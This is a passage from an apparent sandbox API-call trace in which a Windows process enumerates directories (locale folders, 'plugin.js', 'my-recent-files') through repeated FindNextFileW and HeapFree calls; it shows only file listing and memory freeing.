	[0171.831] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0171.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.831] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0171.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46d03e0 | out: hHeap=0x4f0000) returned 1
	[0171.832] FindNextFileW (in: hFindFile=0x394b9f8, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0171.832] FindClose (in: hFindFile=0x394b9f8 | out: hFindFile=0x394b9f8) returned 1
	[0171.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0171.832] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0171.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.832] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.833] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0171.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.833] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1
	[0171.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.851] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.852] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0171.852] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0171.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0171.853] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1
	[0171.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46903c0 | out: hHeap=0x4f0000) returned 1
	[0171.854] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0171.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.884] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.884] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.885] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.885] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.885] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0171.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.885] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.886] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.886] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.886] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.886] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0171.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.886] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0171.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.887] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0171.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.887] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0171.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.888] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0171.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.889] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0171.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.890] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0171.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.891] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0171.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.891] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0171.892] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.892] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0171.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.893] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0171.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.893] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0171.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.894] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0171.894] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.894] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0171.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.895] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0171.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.895] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0171.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.895] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0171.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.896] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0171.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0171.897] FindNextFileW (in: hFindFile=0x394b678, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0171.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
